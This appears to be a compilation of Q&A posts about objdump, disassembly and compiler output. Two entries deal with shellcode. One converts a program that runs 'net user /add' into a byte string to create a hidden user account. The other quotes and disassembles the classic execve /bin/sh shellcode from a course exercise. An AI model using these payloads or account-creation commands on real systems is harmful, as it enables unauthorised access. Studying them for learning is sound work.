Get Shellcode from Object Dump the right way - c

I have read several tutorials on basic shellcoding and i have a question. I have written a little function in c
#include <stdio.h>
#include<string.h>
int main() {
char cmd[] = "net user /add jango Jango01$";
system(cmd);
}
and have build an object file of it using
gcc -c exec.c -o exec.o
Now i want to turn it into shellcode by using objdump.
c:\>objdump -d -M intel exec.o
: file format pe-i386
Disassembly of section .text:
00000000 <_main>:
0: 55 push ebp
1: 89 e5 mov ebp,esp
3: 83 e4 f0 and esp,0xfffffff0
6: 83 ec 30 sub esp,0x30
9: e8 00 00 00 00 call e <_main+0xe>
============= SNIP =============
5c: c9 leave
5d: c3 ret
5e: 90 nop
5f: 90 nop
When i bundle the bytes to something like
char code[] = "\x55\x89\xe5\x83\xe4\xf0\x83\xec\x30\xe8\x00\x00\x00\x00 == SNIPPET == \xc9\xc3\x90\x90";
is this the correct way? I am not sure if the hexdump is the final shellcode. My english is not so good and i am not sure if i understood all right.
Thank you

Related

Cannot call assembly function from C kernel

I am writing a 32-bit C kernel and I tried to call a function that I wrote in assembly.
So I wrote an assembly file containing the function myfunc and then I wrote the kernel which defined myfunc as a global variable and I linked them together so I can use it in my C code.
It worked fine, but when I tried to call it, it caused a triple fault.
However, if I use inline assembly instead,
asm("call myfunc");
It does the job.
Also notice that the disassembly for asm("call myfunc"); and for myfunc(); aren't similar:
The disassembly when using myfunc():
00000000 <kmain>:
0: f3 0f 1e fb endbr32
4: 53 push ebx
5: 83 ec 08 sub esp,0x8
8: e8 fc ff ff ff call 9 <kmain+0x9>
d: 81 c3 02 00 00 00 add ebx,0x2
13: e8 fc ff ff ff call 14 <kmain+0x14>
18: f4 hlt
19: 83 c4 08 add esp,0x8
1c: 5b pop ebx
1d: c3 ret
The disassembly when using asm("call myfunc");:
00000000 <kmain>:
0: f3 0f 1e fb endbr32
4: e8 fc ff ff ff call 5 <kmain+0x5>
9: f4 hlt
a: c3 ret
Here's how I build it:
nasm -f elf32 kernel/klink.asm -o klink.o
gcc -c kernel/main.c -m32 -nostdlib -nodefaultlibs -O1 -fno-builtin
ld -m elf_i386 -T link.ld -o KERNEL klink.o main.o
objcopy --dump-section .text=KERNEL.SYS KERNEL
link.ld:
OUTPUT_FORMAT(elf32-i386)
ENTRY(kmain)
SECTIONS
{
. = 0x100000;
.text : { *(.text) }
}
The kernel (main.c):
void kmain() {
extern void myfunc();
myfunc(); //Here it causes a triple fault.
//asm("call myfunc"); //But this works fine.
asm("hlt");
}
And this is the assembly file that contains the function (klink.asm):
[BITS 32]
SECTION .text
GLOBAL start ;define start as a global variable
GLOBAL myfunc ;also myfunc
jmp start ;jump straight into start
myfunc:
;idk what to write here... just some code :)
EXTERN kmain ;define kmain as an external variable
start:
jmp kmain ;jump into kmain

Functions and parameters in object file aren't correct?

#include <stdio.h>
void DispString(const char* charList)
{
puts(charList);
}
void main()
{
DispString("Hello, world!");
}
compile: gcc -c -g test.c -o test.o
link: gcc -o test test.o
Very simple, but when I use objdump to disassemble the object file(test.o), I got the following result:
objdump -d test.o:
boot.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <DispString>:
0: 55 push %rbp
1: 48 89 e5 mov %rsp,%rbp
4: 48 83 ec 10 sub $0x10,%rsp
8: 48 89 7d f8 mov %rdi,-0x8(%rbp)
c: 48 8b 45 f8 mov -0x8(%rbp),%rax
10: 48 89 c7 mov %rax,%rdi
13: e8 00 00 00 00 callq 18 <DispString+0x18>
18: c9 leaveq
19: c3 retq
000000000000001a <main>:
1a: 55 push %rbp
1b: 48 89 e5 mov %rsp,%rbp
1e: bf 00 00 00 00 mov $0x0,%edi
23: e8 00 00 00 00 callq 28 <main+0xe>
28: 5d pop %rbp
29: c3 retq
For the line 23, it passed 0 to %edi register, which is definitely wrong. It should pass the address of the "Hello, world!" string to it. And it called 28 <main+0xe>? The line 28 is just its next line, rather than function DispString(which is in line 0). Why could this happen? I've also looked into the final test file, in which all the values are just correct. So how could the linker know where to find those functions or strings?
You are only translating file so no linking has been done. Once linking jas been done, then and then DispString()'s address will be known to main and it will jump to there. So as suggested in one of the comments, use objdump with the comliled executable.

objdump of binary with debug info produces mangled output

I often notice severely mangled output with mixed assembly and C instructions in the output of objdump -S. This seems to happen only for binaries built with debug info. Is there any way to fix this?
To illustrate the issue i have written a simple program :
/* test.c */
#include <stdio.h>
int main()
{
static int i = 0;
while(i < 0x1000000) {
i++;
}
return 0;
}
The above program was built with/without debug info as follows :
$ gcc test.c -o test-release
$ gcc test.c -g -o test-debug
Disassembling the test-release binary works fine.
$ objdump -S test-release
produces the following clear and concise snippet for the main() function.
080483b4 <main>:
80483b4: 55 push %ebp
80483b5: 89 e5 mov %esp,%ebp
80483b7: eb 0d jmp 80483c6 <main+0x12>
80483b9: a1 18 a0 04 08 mov 0x804a018,%eax
80483be: 83 c0 01 add $0x1,%eax
80483c1: a3 18 a0 04 08 mov %eax,0x804a018
80483c6: a1 18 a0 04 08 mov 0x804a018,%eax
80483cb: 3d ff ff ff 00 cmp $0xffffff,%eax
80483d0: 7e e7 jle 80483b9 <main+0x5>
80483d2: b8 00 00 00 00 mov $0x0,%eax
80483d7: 5d pop %ebp
80483d8: c3 ret
But $ objdump -S test-debug
produces the following mangled snippet for the same main() function.
080483b4 <main>:
#include <stdio.h>
int main()
{
80483b4: 55 push %ebp
80483b5: 89 e5 mov %esp,%ebp
static int i = 0;
while(i < 0x1000000) {
80483b7: eb 0d jmp 80483c6 <main+0x12>
i++;
80483b9: a1 18 a0 04 08 mov 0x804a018,%eax
80483be: 83 c0 01 add $0x1,%eax
80483c1: a3 18 a0 04 08 mov %eax,0x804a018
int main()
{
static int i = 0;
while(i < 0x1000000) {
80483c6: a1 18 a0 04 08 mov 0x804a018,%eax
80483cb: 3d ff ff ff 00 cmp $0xffffff,%eax
80483d0: 7e e7 jle 80483b9 <main+0x5>
i++;
}
return 0;
80483d2: b8 00 00 00 00 mov $0x0,%eax
}
80483d7: 5d pop %ebp
80483d8: c3 ret
I do understand that as the debug binary contains additional symbol info, the C code is displayed interlaced with the assembly instructions. But this makes it a tad difficult to follow the flow of code.
Is there any way to instruct objdump to output pure assembly and not interlace debug symbols into the output even if encountered in a binary?
Use -d instead of -S. objdump is doing exactly what you are telling it to. The -S option implies -d but also displays the C source if debugging information is available.

How to get opcodes of a c program

I know how to get the assembly code of my program using gdb but how do I get the opcode?
I need it to hack a linux server (don't worry it's part of a class I'm having so no real server will be harmed). Actually I was reading this article and I'm wondering how can I get from assembly:
[aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c
[aleph1]$ gdb shellcodeasm
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>: pushl %ebp
0x8000131 <main+1>: movl %esp,%ebp
0x8000133 <main+3>: jmp 0x800015f <main+47>
0x8000135 <main+5>: popl %esi
0x8000136 <main+6>: movl %esi,0x8(%esi)
0x8000139 <main+9>: movb $0x0,0x7(%esi)
0x800013d <main+13>: movl $0x0,0xc(%esi)
0x8000144 <main+20>: movl $0xb,%eax
0x8000149 <main+25>: movl %esi,%ebx
0x800014b <main+27>: leal 0x8(%esi),%ecx
0x800014e <main+30>: leal 0xc(%esi),%edx
0x8000151 <main+33>: int $0x80
0x8000153 <main+35>: movl $0x1,%eax
0x8000158 <main+40>: movl $0x0,%ebx
0x800015d <main+45>: int $0x80
0x800015f <main+47>: call 0x8000135 <main+5>
0x8000164 <main+52>: das
0x8000165 <main+53>: boundl 0x6e(%ecx),%ebp
0x8000168 <main+56>: das
0x8000169 <main+57>: jae 0x80001d3 <__new_exitfn+55>
0x800016b <main+59>: addb %cl,0x55c35dec(%ecx)
End of assembler dump.
the following:
testsc.c
------------------------------------------------------------------------------
char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";
The system is linux x86 and the language I will be using C. I'd really like an automated way, but a manual solution would work too.
I mean how do I convert %ebp, %esi, %esp etc.. Is there a map I can use? or an automated programm?
Here you go:
Disassembly of section .data:
00000000 <shellcode>:
0: eb 2a jmp 2c <shellcode+0x2c>
2: 5e pop %esi
3: 89 76 08 mov %esi,0x8(%esi)
6: c6 46 07 00 movb $0x0,0x7(%esi)
a: c7 46 0c 00 00 00 00 movl $0x0,0xc(%esi)
11: b8 0b 00 00 00 mov $0xb,%eax
16: 89 f3 mov %esi,%ebx
18: 8d 4e 08 lea 0x8(%esi),%ecx
1b: 8d 56 0c lea 0xc(%esi),%edx
1e: cd 80 int $0x80
20: b8 01 00 00 00 mov $0x1,%eax
25: bb 00 00 00 00 mov $0x0,%ebx
2a: cd 80 int $0x80
2c: e8 d1 ff ff ff call 2 <shellcode+0x2>
31: 2f das
32: 62 69 6e bound %ebp,0x6e(%ecx)
35: 2f das
36: 73 68 jae a0 <shellcode+0xa0>
38: 00 89 ec 5d c3 00 add %cl,0xc35dec(%ecx)
Note how the last 00 in that add %cl instruction comes from the string null terminator byte; it is not explicit.
How I got this was that I simply compiled your declaration with
gcc testsc.c -c
and then
objdump -D testsc.o
You can use:
gcc -S -c tst.c -o -
or
gcc -g -ggdb -c tst.c
objdump -S tst.o
to get the disassembly of your program with the opcodes.
To get the disassembly of your char array, you can use:
gcc -c tst.c
objdump -D -j .data tst.o
Found it! First disassemble then type :
x/bx hit enter and get one by one the hex representation of the assembly commands!
Create a small assembly file, say code.s. Then put the following inside:
.text
.byte 0xeb, 0x2a, 0x5e, ..
Assemble it with as code.s -o code.o and use objdump to disassemble the result.

GCC 4.3/4.4 vs MSC 6 on i386 optimization for size fail

I am not sure what am I doing wrong, but I've tried reading manuals about calling conventions of GCC and found nothing useful there. My current problem is GCC generates excessively LARGE code for a very simple operation, like shown below.
main.c:
#ifdef __GNUC__
// defines for GCC
typedef void (* push1)(unsigned long);
#define PUSH1(P,A0)((push1)P)((unsigned long)A0)
#else
// defines for MSC
typedef void (__stdcall * push1)(unsigned long);
#define PUSH1(P,A0)((push1)P)((unsigned long)A0)
#endif
int main() {
// pointer to nasm-linked exit syscall "function".
// will not work for win32 target, provided as an example.
PUSH1(0x08048200,0x7F);
}
Now, let's build and dump it with gcc: gcc -c main.c -Os;objdump -d main.o:
main.o: file format elf32-i386
Disassembly of section .text:
00000000 <.text>:
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
7: ff 71 fc pushl -0x4(%ecx)
a: b8 00 82 04 08 mov $0x8048200,%eax
f: 55 push %ebp
10: 89 e5 mov %esp,%ebp
12: 51 push %ecx
13: 83 ec 10 sub $0x10,%esp
16: 6a 7f push $0x7f
18: ff d0 call *%eax
1a: 8b 4d fc mov -0x4(%ebp),%ecx
1d: 83 c4 0c add $0xc,%esp
20: c9 leave
21: 8d 61 fc lea -0x4(%ecx),%esp
24: c3 ret
That's the minimum size code I am able to get... If I don't specify -O* or specify other values, it will be 0x29 + bytes long.
Now, let's build it with ms c compiler v 6 (yea, one of year 98 iirc): wine /mnt/ssd/msc/6/cl /c /TC main.c;wine /mnt/ssd/msc/6/dumpbin /disasm main.obj:
Dump of file main.obj
File Type: COFF OBJECT
_main:
00000000: 55 push ebp
00000001: 8B EC mov ebp,esp
00000003: 6A 7F push 7Fh
00000005: B8 00 82 04 08 mov eax,8048200h
0000000A: FF D0 call eax
0000000C: 5D pop ebp
0000000D: C3 ret
How do I make GCC generate the similar by size code? any hints, tips? Don't you agree resulting code should be small as that? Why does GCC append so much useless code? I thought it'd be smarter than such old stuff like msc6 when optimizing for size. What am I missing here?
main() is special here: gcc is doing some extra work to make the stack 16-byte aligned at the entry point of the program. So the size of the result aren't directly comparable... try renaming main() to f() and you'll see gcc generates drastically different code.
(The MSVC-compiled code doesn't need to care about alignment because Windows has different rules for stack alignment.)
This is the best reference I can get. I'm on Windows now and too lazy to login to my Linux to test. Here (MinGW GCC 4.5.2), the code is smaller than yours. One difference is the calling convention, stdcall of course has a few bytes advantage over cdecl (default on GCC if not specified or with -O1 and I guess with -Os, too) to clean up the stack.
Here's the way I compile and the result (source code is purely copy pasted from your post)
gcc -S test.c:
_main:
pushl %ebp #
movl %esp, %ebp #,
andl $-16, %esp #,
subl $16, %esp #,
call ___main #
movl $127, (%esp) #,
movl $134513152, %eax #, tmp59
call *%eax # tmp59
leave
ret
gcc -c -o test.o test.c && objdump -d test.o:
test.o: file format pe-i386
Disassembly of section .text:
00000000 <_main>:
0: 55 push %ebp
1: 89 e5 mov %esp,%ebp
3: 83 e4 f0 and $0xfffffff0,%esp
6: 83 ec 10 sub $0x10,%esp
9: e8 00 00 00 00 call e <_main+0xe>
e: c7 04 24 7f 00 00 00 movl $0x7f,(%esp)
15: b8 00 82 04 08 mov $0x8048200,%eax
1a: ff d0 call *%eax
1c: c9 leave
1d: c3 ret
1e: 90 nop
1f: 90 nop

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